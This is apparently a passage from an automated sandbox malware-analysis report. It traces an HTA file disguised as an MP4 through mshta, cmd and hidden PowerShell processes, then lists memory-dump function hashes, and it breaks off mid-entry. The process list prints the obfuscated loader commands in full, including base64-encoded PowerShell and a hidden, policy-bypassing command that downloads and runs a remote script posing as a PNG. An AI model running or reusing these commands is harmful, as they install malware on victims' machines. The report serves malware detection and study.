00 00 07 00 1e 00 00 73 11 21 11 21 11 21 11 01 21 32 04 Data Ascii: A!2#!!!266'6&#!aMuS\UTz(s7>7!!#!2#!!!26654&#!5JsS3!6]!YaMtS^B2:b\UTzs!!!!2

Target ID:	0
Start time:	07:55:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\web55.mp4.hta"
Imagebase:	0x100000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:55:03
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))
Imagebase:	0x740000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:55:03
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:55:04
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:55:04
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Imagebase:	0x740000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:55:04
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:55:05
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
Imagebase:	0x740000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:55:06
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"
Imagebase:	0x740000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:55:06
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:50:49
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x740000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	09:51:03
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe"
Imagebase:	0x26a56550000
File size:	598'528 bytes
MD5 hash:	89470385FDDACB118DEB7A7941E6A666
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 0B220000 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

!, xrefs: 0B22009D

Memory Dump Source

Source File: 00000000.00000002.3700467812.000000000B220000.00000010.00000800.00020000.00000000.sdmp, Offset: 0B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b220000_mshta.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: fbd9ce239168bc7338e7cddf29ecc59ff6ba6b81ba95dc8a1897f0c5f91b99f0
Instruction ID: 23ae6f47d026437cf1c4930074464194f8e6a9bd18ff1da34a1a164ab0236dcb
Opcode Fuzzy Hash: fbd9ce239168bc7338e7cddf29ecc59ff6ba6b81ba95dc8a1897f0c5f91b99f0
Instruction Fuzzy Hash: FD411330B24225AFEB248F58C8C17AEBBE5EB85714F404569EE95DB381C3B09C5487A2

Function 06590FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3697566938.0000000006590000.00000010.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6590000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: fa57662f1034b7c7c3783c126cd2847d19b93af6d09d97e26ac96d297c4fef6a
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 06590FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3697566938.0000000006590000.00000010.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6590000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: fa57662f1034b7c7c3783c126cd2847d19b93af6d09d97e26ac96d297c4fef6a
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 06590FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3697566938.0000000006590000.00000010.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6590000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: fa57662f1034b7c7c3783c126cd2847d19b93af6d09d97e26ac96d297c4fef6a
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 06590FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3697566938.0000000006590000.00000010.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6590000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: fa57662f1034b7c7c3783c126cd2847d19b93af6d09d97e26ac96d297c4fef6a
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 06590FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3697566938.0000000006590000.00000010.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6590000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: fa57662f1034b7c7c3783c126cd2847d19b93af6d09d97e26ac96d297c4fef6a
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 7324, Parent PID: 6976COMMON

Executed Functions

Function 028C7C46 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fc094b2d0805d9bbd7f7c12261e5d348567517a5e9e205c9a9c9030c7d58a
Instruction ID: a31aea2305c6b8d18445bb43332dbab28a420127ec67a4ecc0aac479ccdd2cab
Opcode Fuzzy Hash: 702fc094b2d0805d9bbd7f7c12261e5d348567517a5e9e205c9a9c9030c7d58a
Instruction Fuzzy Hash: 44713B78E002489FDB14DFA8D544BADFBF6BF88304F248469D416AB2A4CB34AD45CF41

Function 028C7FC0 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e7247ab01ffb1833f2bae7531d359298d9215bb7e66813f163b4321ceab831
Instruction ID: 6347938fe6819bf15b646440e79d4959acf49e4535819f3c1782e5d46f145ff9
Opcode Fuzzy Hash: a9e7247ab01ffb1833f2bae7531d359298d9215bb7e66813f163b4321ceab831
Instruction Fuzzy Hash: AE614938A002188FDB19DBA4C9586AEBBF2FF89715F24846DD806EB390DB349C41CB51

Function 028C7640 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f999b709bef222fe53ebe66cf2186897e51e5d770df421b0a4f66d370f62bb
Instruction ID: ab8499e3dd7927f468a1205ef7578f7c6df9ff7f34feb4172169b750d7fd9453
Opcode Fuzzy Hash: d9f999b709bef222fe53ebe66cf2186897e51e5d770df421b0a4f66d370f62bb
Instruction Fuzzy Hash: 66610D38A002498FDB14DFA4C544AADBBB6EF89304F258558E506AF365DB74ED89CF80

Function 028C7650 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d094dce60be8fae7ea93f14c45549e778f5374dc9977abe8c1b9d7c73d06e931
Instruction ID: c7b8a55ee469fec37b56297cbb955230dce699f6a6247ad8c18fda0b6fa49d18
Opcode Fuzzy Hash: d094dce60be8fae7ea93f14c45549e778f5374dc9977abe8c1b9d7c73d06e931
Instruction Fuzzy Hash: D961FD38A002498FDB14DFA4C544AADBBB6EF88304F258558E506EF365DB74ED89CF80

Function 028C7AD8 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e4b551e42a713b2e2998908c3745caddac7c3e9fdbd0336123881844d26e67
Instruction ID: 0ef7dd9c4e0e838cbb2daac750db133d9647c133df9b96263f14cfffd83e5a1c
Opcode Fuzzy Hash: 65e4b551e42a713b2e2998908c3745caddac7c3e9fdbd0336123881844d26e67
Instruction Fuzzy Hash: 62516C79E002189FEB18DFA9D8447AEBBF6BF88314F148469D409EB390DB74A841CF41

Function 028C2F10 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a3523d27a042a499384ac7fa3398a054e38abfc73febc6a18d2d9bbc18a484
Instruction ID: 73c23723710c7239021fbfba6b7a2eb7f045c4d4fb3fb7cd7e8c99177d066716
Opcode Fuzzy Hash: c0a3523d27a042a499384ac7fa3398a054e38abfc73febc6a18d2d9bbc18a484
Instruction Fuzzy Hash: C5415E78A002098FCB19CF58C594AAEFBB1FF48310B258199D815EB765C736EC91CBA4

Function 028C7AC9 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4abf6b7912b2f369a83063e3cb47badae95ba588528d4f0e5c2819ee567a02f
Instruction ID: 21c07818e3824a20c08d42420ec33de83c7be5db0267b6a440f8ca73352f42a2
Opcode Fuzzy Hash: e4abf6b7912b2f369a83063e3cb47badae95ba588528d4f0e5c2819ee567a02f
Instruction Fuzzy Hash: B7412A78E002189FEB18DFA9C4447AEFBF6BF84314F248469D415AB794DB74A941CF81

Function 028C85C8 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2a21cd8fce16f871a67fe0fc241ac4a6914d1163abb1a5b668fda144582f93
Instruction ID: def7c9effeeb27d7575a78a573941b5a1a1d31848c7847f16c3fa40698dff10d
Opcode Fuzzy Hash: 3b2a21cd8fce16f871a67fe0fc241ac4a6914d1163abb1a5b668fda144582f93
Instruction Fuzzy Hash: 9631F439E4034A9FDB15DFB4C4106AEBBB2EF85300F20452ED505EB281EBB0E985CB91

Function 028C2F02 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1aadff13863721390ff7f29b6f25921f6c1ce118c8826e4432fc7ce62fd33df
Instruction ID: 613f1460e94a1b1a752f0e4225c59daba870cb85497696e66f311e64509ab413
Opcode Fuzzy Hash: e1aadff13863721390ff7f29b6f25921f6c1ce118c8826e4432fc7ce62fd33df
Instruction Fuzzy Hash: 92417E78A00609CFCB19CF48C494EAAF7B1FF48320B218299D815AB765C336FC91CB94

Function 028C2ECA Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f8e6caf2e44469642eefdd851a4b4731b8a7e9901cba531c14fee2dd71a7ae5
Instruction ID: 9a88bc20b62f1e26e4d3d43230ace0536239fc6f4190acd231e59f63a35b60c5
Opcode Fuzzy Hash: 2f8e6caf2e44469642eefdd851a4b4731b8a7e9901cba531c14fee2dd71a7ae5
Instruction Fuzzy Hash: 6541AF78A00605CFCB1ACF58C094AA9F7B1FF48314F258299D919EB6A5C736FC91CB94

Function 028C79A1 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784695d4724ef354cd240f32537d9777be88a60a53be14435f64449a3590c9e7
Instruction ID: 976312b188c7675dff51f506911d49440d8f72bce4ae7e7c51176382281eab9b
Opcode Fuzzy Hash: 784695d4724ef354cd240f32537d9777be88a60a53be14435f64449a3590c9e7
Instruction Fuzzy Hash: 55317A39B005048FDB149F29D848AAEBBF6EF8C711F244069E50AEB3A0DB709C51CF50

Function 0281D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3705443156.000000000281D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0281D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_281d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2c43c47b4c5ef1d68800a8196c95deef3cac5971d9c40ff2cd6ddb93c6edd7
Instruction ID: 8272cd059e9504e373acf3ccd429fae38539056b6ab4ff140dc6d93d8c899b4f
Opcode Fuzzy Hash: 6e2c43c47b4c5ef1d68800a8196c95deef3cac5971d9c40ff2cd6ddb93c6edd7
Instruction Fuzzy Hash: E901A739404344AFE7208A25D984B66BBDCDF41664F18C55AED488F2C2C3799445CAB6

Function 0281D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3705443156.000000000281D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0281D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_281d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09111eff5eac9b21ed6dc01160e34a5a7eefee029bedd5bd77ca753346b0651e
Instruction ID: d16a2ca614ecf3530892139543787c56475238506a73f7160410b8795505d6b4
Opcode Fuzzy Hash: 09111eff5eac9b21ed6dc01160e34a5a7eefee029bedd5bd77ca753346b0651e
Instruction Fuzzy Hash: B801406540E3C09FD7124B258894B52BFB8DF43224F1981CBD9888F1A3C2695845C772

Function 028C8568 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6410c3f4b75491c2b9c8c70b74e8a7070b8c7648c5b5d23e20115c06b9155273
Instruction ID: d3d0d4311062bedce36a4a657677809df0ec1e4e7777bfcd27056de2ee2c5444
Opcode Fuzzy Hash: 6410c3f4b75491c2b9c8c70b74e8a7070b8c7648c5b5d23e20115c06b9155273
Instruction Fuzzy Hash: 19E02B35B043511BD321D378E4407D97B92DFC2310B0481E9E500CF645DE78AD428793

Function 028C7E98 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40e460ca19b7ba7c86f9051477fef8fa6cb7757db6d09fa3d32000b9c95378b
Instruction ID: 2fecdfbb074baf039a52324a588ecb3cc2caec6f9efbfe557d5d2091c015fb4a
Opcode Fuzzy Hash: c40e460ca19b7ba7c86f9051477fef8fa6cb7757db6d09fa3d32000b9c95378b
Instruction Fuzzy Hash: 46D05E3A701214178B1422BE799C86BBADEA6CC6753148476A50DD3300EDB99C4249A0

Function 028C7EC8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9732bda195cf64a39c4506fc31fd199dae484591223e2c11c9fecc924423df1
Instruction ID: 125c1a2ad4be4d58a737f919212660bc2f8c0ad6bff83a1946b2b18a3ded6086
Opcode Fuzzy Hash: c9732bda195cf64a39c4506fc31fd199dae484591223e2c11c9fecc924423df1
